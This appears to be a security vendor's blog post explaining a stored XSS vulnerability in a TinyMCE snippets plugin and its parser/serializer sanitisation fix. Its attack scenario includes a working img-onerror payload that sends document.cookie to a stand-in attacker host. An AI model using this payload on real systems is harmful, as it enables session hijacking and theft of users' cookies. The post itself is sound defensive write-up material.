Back to Blog
critical SEVERITY6 min read

How stored XSS happens in TinyMCE plugins and how to fix it

The snippets plugin's `Main.ts` inserted raw, unsanitized snippet content directly into the TinyMCE editor via `editor.insertContent(snippet.content)`, allowing stored JavaScript payloads saved by any snippet editor to execute in every user's browser. The fix routes snippet content through TinyMCE's own parser and serializer before insertion, stripping dangerous markup while preserving legitimate formatting.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published September 9, 2026•Reviewed September 9, 2026

Answer Summary

This is a stored Cross-Site Scripting (XSS) vulnerability (CWE-79) in a TinyMCE plugin written in TypeScript, caused by calling `editor.insertContent()` on unsanitized, database-stored snippet content. The fix sanitizes the content by round-tripping it through `editor.parser.parse()` and `editor.serializer.serialize()`, which strips script tags and dangerous event handlers according to the editor's schema before insertion.

Vulnerability at a Glance

cweCWE-79
fixSanitize content through `editor.parser.parse()` / `editor.serializer.serialize()` before calling `insertContent()`
riskMalicious snippet content executes arbitrary JavaScript in the browser of any user who inserts the snippet
languageTypeScript (TinyMCE plugin)
root cause`editor.insertContent(snippet.content)` inserted raw, unsanitized HTML/JS directly into the editor DOM
vulnerabilityStored Cross-Site Scripting (XSS)

Summary

The snippets plugin's Main.ts inserted raw, unsanitized snippet content directly into the TinyMCE editor via editor.insertContent(snippet.content), allowing stored JavaScript payloads saved by any snippet editor to execute in every user's browser. The fix routes snippet content through TinyMCE's own parser and serializer before insertion, stripping dangerous markup while preserving legitimate formatting.

Introduction

The custom_plugins/snippets/src/main/ts/Main.ts file handles a common but powerful editor feature: letting users insert pre-defined "snippets" of rich content into a TinyMCE document with a single click. The plugin builds a menu of stored snippets and, on onAction, calls editor.insertContent(snippet.content) to drop that content straight into the document.

The problem is exactly what it sounds like — snippet.content is treated as trusted, editor-ready HTML, when in reality it's data pulled from a database that anyone with snippet-editing privileges (or a compromised editor account) can populate. There was no sanitization step between "content stored by a user" and "content injected into the live DOM of every other user's browser." That gap is a textbook stored Cross-Site Scripting (XSS) vulnerability, and it's exactly the kind of pattern that's easy to overlook in plugin code because it "just" calls a convenience method from the editor's own API.

The Vulnerability Explained

Here's the vulnerable code from Main.ts before the fix:

type: 'menuitem',
text: snippet.title,
onAction: () => {
  editor.insertContent(snippet.content);
}

snippet.content comes from a stored snippet record — likely fetched from an API or database — and is passed unmodified into editor.insertContent(). TinyMCE's insertContent() inserts the given HTML string directly into the editor's content model, and ultimately into the page DOM. There is no allowlist, no stripping of <script> tags, and no neutralization of inline event handlers.

Attack scenario: Imagine an attacker with editor privileges (or an attacker who compromises a lower-trust editor account) creates a new snippet titled "Company Signature" with content like:

<img src=x onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)">

This gets saved to the snippets database like any legitimate snippet. Later, any other user — potentially an administrator with a higher-privileged session — opens the editor, clicks the "Company Signature" snippet from the menu, and the plugin calls editor.insertContent(snippet.content). The <img> tag is inserted into the DOM, the browser attempts to load src=x, fails, fires onerror, and the attacker's JavaScript executes in the victim's authenticated session — exfiltrating cookies, session tokens, or CSRF tokens, or performing actions on the victim's behalf.

Because snippets are shared, reusable content designed to be inserted by many users over time, this is a particularly effective stored XSS vector: one malicious snippet can compromise every user who ever clicks it, long after the attacker created it.

The Fix

The fix changes the single line responsible for insertion, adding a sanitization pass that leverages TinyMCE's own content model instead of trusting the raw string:

Before:

onAction: () => {
  editor.insertContent(snippet.content);
}

After:

onAction: () => {
  // Sanitize snippet content against the editor's schema before
  // insertion to strip script tags/handlers and prevent stored XSS
  // from snippets that may have been saved with malicious markup.
  const sanitized = editor.serializer.serialize(editor.parser.parse(snippet.content));
  editor.insertContent(sanitized);
}

This works because TinyMCE's parser builds an internal DOM-like node tree from the HTML string according to the editor's configured schema — the set of allowed elements, attributes, and event handlers. Elements and attributes that don't conform to that schema (such as <script> tags or onerror/onclick handlers not permitted by the schema) are dropped during parsing. The serializer then converts that sanitized node tree back into an HTML string, which is what actually gets passed to insertContent().

In effect, snippet.content is no longer inserted "as-is" — it's normalized through the same schema-aware pipeline TinyMCE uses internally for pasted and typed content, closing the gap between untrusted stored data and the live editor DOM. The change is scoped to a single call site in a single file, preserving the plugin's existing behavior (snippets still insert correctly) while removing the ability for malicious markup to execute.

Key Takeaways

  • editor.insertContent(snippet.content) in Main.ts:20-30 treated database-stored snippet content as trusted HTML — it wasn't.
  • Snippets are inherently multi-user, reusable content, making stored XSS via snippets especially dangerous: one poisoned snippet can compromise many victims over time.
  • The fix leverages TinyMCE's built-in editor.parser and editor.serializer to enforce the editor's schema before insertion — no custom sanitizer library was needed.
  • Any plugin or feature that inserts externally-sourced content into a rich text editor should route it through the same parse/serialize sanitization pattern shown here.
  • Privilege separation matters too: limiting who can create/edit snippets reduces the attack surface, but sanitization at the insertion point is the actual technical control that stops exploitation.

How Orbis AppSec Detected This

  • Source: Stored snippet content (snippet.content), originating from the snippets database/API and populated by any user with snippet-editing privileges.
  • Sink: editor.insertContent(snippet.content) in custom_plugins/snippets/src/main/ts/Main.ts:20, which injects HTML directly into the live TinyMCE editor DOM.
  • Missing control: No HTML sanitization or schema enforcement was applied to snippet.content between storage/retrieval and insertion into the editor.
  • CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
  • Fix: Sanitize snippet.content via editor.serializer.serialize(editor.parser.parse(snippet.content)) before calling insertContent(), stripping non-schema-conforming markup such as script tags and inline event handlers.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This vulnerability is a reminder that "internal" or "editorial" content sources aren't automatically safe content sources. A snippet library built for convenience became a stored XSS vector because raw HTML flowed straight from storage into editor.insertContent() with no sanitization in between. The fix is small — a single line replaced with a parse/serialize round-trip — but it closes a real gap: any user with snippet-editing access could otherwise have executed arbitrary JavaScript in the session of any colleague who clicked "insert." Treat every DOM-writing sink in editor plugins as a potential injection point, and sanitize accordingly, every time.

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #189

Related Articles

high

sanitizeBangumiHtml() XSS Fix: insertAdjacentHTML RCE via JSON

A high-severity cross-site scripting vulnerability existed where untrusted JSON data from bangumis.json was rendered directly into the DOM using insertAdjacentHTML without sanitization. An attacker who could modify this external data source could execute arbitrary JavaScript in visitors' browsers. The fix introduces a dedicated sanitizeBangumiHtml() function that strips script tags, event handlers, and javascript: URLs before insertion.

high

form.js jQuery Selector Construction: CWE-79 Quote-Breaking Fix

A defense-in-depth fix in the form.js initialization routine eliminates a jQuery selector injection vector where user-controlled category data was concatenated directly into a string literal. The vulnerable pattern at lines 47-48 of the form handler could allow malicious content to break out of the selector's quoted context and execute arbitrary jQuery methods.

high

ItemPicker `_commitTraitInput` XSS via Unescaped Trait Chip Rendering

The `_commitTraitInput` function in ItemPicker accepted arbitrary user input for trait values without sanitization, then rendered those values directly into HTML chip elements through `_updateList`. An attacker could inject malicious JavaScript payloads that executed when trait chips were displayed. The fix applies a strict whitelist filter removing all non-alphanumeric characters except spaces and hyphens.

high

formatObject() Leaves localStorage Keys Unescaped Before innerHTML

The `formatObject()` pretty-printer used to build the key-configuration storage viewer interpolated object keys and array key/value pairs directly into an HTML string that is later assigned with `innerHTML`. Only string *values* were passed through `escapeHtml()`, so a crafted key name persisted in `localStorage` could execute script every time a user opened the storage viewer. The fix wraps the index-pair branch and the object-key branch in `escapeHtml()`, keeping the raw path only for non-colo

high

Voice Assistant Widget XSS: Unsanitized Bot Messages Execute in

The voice assistant widget's `appendMessage` function had a critical cross-site scripting (XSS) vulnerability where bot messages were inserted directly into the DOM without sanitization, while user messages were escaped. An attacker controlling bot responses could inject and execute arbitrary JavaScript in the user's browser context. The fix applies HTML escaping to all message types uniformly.

critical

navbar.html Injection via innerHTML in loadNavbar.js

An Electron app's `loadNavbar.js` fetched `navbar.html` and wrote the response straight into `innerHTML`, so any script tags or event-handler attributes in that file would execute in the renderer. The fix adds a `sanitizeNavbarHtml` routine that parses the markup with `DOMParser` and strips `<script>` tags, `on*` attributes, and `srcdoc` before the content is injected into the DOM.